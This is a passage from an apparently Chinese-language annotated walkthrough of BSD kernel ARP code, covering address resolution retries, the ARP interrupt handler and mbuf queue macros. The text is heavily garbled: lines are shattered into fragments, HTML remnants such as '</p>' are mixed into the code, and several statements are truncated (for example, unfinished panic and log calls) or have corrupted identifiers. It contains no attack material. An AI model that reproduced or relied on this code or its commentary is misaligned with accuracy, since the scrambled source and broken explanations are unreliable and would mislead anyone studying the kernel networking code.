/*
那么就拷贝该硬件地址到
desten*/
return 1; /*ether_output
函数如果
得到返回值
1(
成功
),
那他就知道
*/
} /*
他调用时的
desten
指针指向了正确的对方的硬件地址
*/
/*
* <
/p>
如果接口不支持
ARP(PPP
等点对点
网络
).
*/
if (ac->ac__flags &
IFF_NOARP)
return (0);
/*
*
先把要发送的数据指针临时保存
,
等到发送
ARP
请求查询包后
,
得到正确的对方硬件地址时再发送
*/
if (la->la_hold) /*
上次的
mbuf
更有没发的吗
(
也
是因为同样的原因
,
但要发送的
IP<
/p>
没一直没被解释
)*/
m_freem(la->la_hold); /*
释放掉上
次的包
(
一个
mbuf
链
),
因为上次的地址可能未找到了
< br>*/
la->la_hold = m;
/*
把这次的保存进去
*/
if
(rt->rt_expire) { /*
如果不是永久
AR
P
节点
*/
rt->rt_flags &=
~RTF_REJECT
;
if (la->la_asked == 0 ||
rt->rt_expire != time_second) {/*
不在同一秒钟
,
即一秒钟可发一次
,5
次后还没
解析
,
就停止
p>
20
秒
*/
rt->rt_expire =
time_second;/*
当前时间
*/
if
(la->la_asked++ < arp_maxtries)/*
在解释地址时
重复发送
ARP
请求的包的次数
,
p>
共
5
次
*/
arp
request(ac,&SIN(rt->rt_ifa->ifa_addr)->sin_addr,&S
IN(dst)->sin_addr,
ac->ac_enaddr);/*
发送请
求
*/
else {
rt->rt_flags |= RTF_REJECT
;/
*
为了防止
ARP
泛洪
,*/
rt->rt_expire += arpt_down;/*arpt_down=
20
秒
,
一旦公开了
< br>down, 20
秒不发送
*/
la->la_asked = 0;/*
一共能询问
5
次
,
从
0
次开始
,
上面有
++*/
}
}
}
return (0);
}
/*
*
当数据包在
if_ethersubr.c
中的
ether_inpu
t
函数处理后
,
如果查到源
,
目的地址后的
* 2
字
节是
ETHERTYPE_ARP
时会产生一软中断
,
中断向量指向此
arpintr
函数
,
实际上的意思
* <
/p>
是网络上有一
ARP
包被我们的网卡接收
了
.
就由
arpint
函数处理
*/
static void
arpintr()
{
register struct mbuf *m;
register struct
arphdr *ar;
int s;
/*
要理解下面的
< br>while
循环
,
你必须看看我
从
if_ethersubr.c
中的处理数据包到队列的情况
,
<
/p>
下面是我
ctrl+v
过来的
:
---------------------------------------------
------------------------------------------------
s =
splimp();/*
关网络中断
*
if
(IF_QFULL(inq)) {
/*#
原型是
define
IF_QFULL(ifq) ((ifq)->ifq_len >=
(ifq)->ifq_maxlen)
队列满
*
IF_DROP(inq);
/*
原型是
#define
IF_DROP(ifq) ((ifq)->ifq_drops++)
丢弃数加
1*
m_freem(m);
}
else
IF_ENQUEUE(inq, m);
/*
以下
是原型
,
作用是把
m(mbuf
链
)
加入到队列
in
q
的尾巴
#define IF_ENQUEUE(ifq, m)
{
\
(m)->m_nextpkt = 0;
\
mbuf
链表的下一个链表为结束
,
注意
:
p>
不是
mbuf
链中的下一
< br>mbuf
if ((ifq)->ifq_tail == 0)
\
如果队列尾巴为没有
,
则该队列没初始化
(ifq)->ifq_head
= m;
\
初始化队列头为
M
else
\
有尾巴
,
即该队列已有
mbuf
(ifq)->ifq_tail->m_nextpkt = m;
\
当前队列的尾巴的
mbuf
链首指针为
m
(ifq)->ifq_tail
= m;
\
队列的尾巴指向
m(
是一
mbuf
链
首
)
(ifq)->ifq_len++;
\
队列长度加
1
}
*
如果你
对队列
,mbuf,mbuf
链
,mu
bf
链首搞的稀里糊涂的话
,
不要紧<
/p>
,
我会写一篇关于
mbuf
的文章
splx(s);
/*
开网络中断
*
---------------
--------------------------------------------------
------------------------------
*/
while (_head)
{/*arpintrq
就是上面的
inq*/
/*
这里我
解释一下
arpintrq
结构
,
p>
该结构实际上是一
ifqueue
结构
p>
,
在
if_ether.h
中定义如下
:
struct ifqueue arpintrq;
那么<
/p>
ifqueue
又是什么样的呢
?
在
p>
if_var.h
中是这样定义的
:
struct ifqueue {
struct mbuf
*ifq_head; /* mbuf
链
(
< br>排在队列的第一个
)
struct mbuf *ifq_tail; /* m
buf
链
(
排在队列的最后一个
)
注意
:
记住了<
/p>
,
是
mbuf
链
,
不是单个的
mbuf
int
ifq_len; /*
多少个链
int ifq_maxlen;
/*
最大容纳
mbuf
链数
,
他有个初始值
,
由网卡
驱动程式填写
,
我见到的是
5
int
ifq_drops; /*
和
ifq_maxlen
配合使用
,
当队列放满了即
ifq_len>ifq_maxlen
时
,ifq_dr
ops
加
1,
}; /*
并且抛弃进来的
mbuf
链
*/
s =
splimp();/*
关中断
,
凡是
对队列进行操作的都要
*/
IF_DEQUEUE(&arpintrq, m);/*
把队列中的第一个
mbuf
链的指针放
入
m
中
我们来看看这个宏
#define
IF_DEQUEUE(ifq, m) {
\
/*
当然
,
这
ifq
是指
arpintrq
(m)
= (ifq)->ifq_head;
\
/*
第一个
mbuf
链放到
m
中
if
(m) {
\
/*
如果
m
指向空
,
在宏之外的函数会处理
if (((ifq)->ifq_head =
(m)->m_nextpkt) == 0)
\
/*
把该链的下一个链首放入队列头并判断是否为空
(ifq)->ifq_tail = 0;
\
/*
如果
头都为空
,
那么尾巴一定要置空
,
p>
要不然
...
就全乱套了
< br>
(m)->m_nextpkt = 0;
\
/*
多此
一举
,
你们看看上面都判断了为空
,<
/p>
这里还要填空
(ifq)->ifq_len--;
\
/*
长度减一
}
\
}
*/
spl
x(s);/*
操作完成
,
开中断
p>
*/
if (m == 0 || (m->m_flags & M_PKTHDR)
== 0)/*
因为上面的宏会返回空
,
所以在这里要处理一下
*/
panic(
if (m->m_len <
sizeof(struct arphdr) &&
((m = m_pullup(m,
sizeof(struct arphdr))) == NULL)) {
/*
注意
上面这个
if,
他是先执行
另外一部分通过调用 <
br>这种情况在判断 <
br>.m_pullup
m->m_
len
也就是说如果
mbuf
链的第一个
mubf
的长度小于标准的
arp
头部的话
,
有可能在
这个
mbuf
中
只有<
/p>
arp
头的一部分
,
m_pullup
合并相邻的这两个<
/p>
mbuf
看看是否有效
,
根据统
计
,
通常是无效的
,
IP
头的时候也会遇见
是一大函数
,
以后我
会讲一讲
*/
log(LOG_ERR,
p>
\
n
记录下来
*/
con
tinue;/*
既然这个
mbuf
链
是无意义的
,
那么进行下一个
whil
e*/
}
ar = mtod(m, struct arphdr *);
if
(ntohs(ar->ar_hrd) != ARPHRD_ETHER
&&
ntohs(ar->ar_hrd) != ARPHRD_IEEE802) {
log(LOG_ERR,
\
n
(unsigned char
*)&ar->ar_hrd,
m_freem(m);/*
释放掉该
mbuf
链
*/
continue;/*
既然这个
mbuf
链是无意义的
,
那么进行下一个
while*/
}
if
(m->m_ < sizeof(struct arphdr) + 2 * ar->ar_hln/*<
/p>
这是判断该
mbuf
链的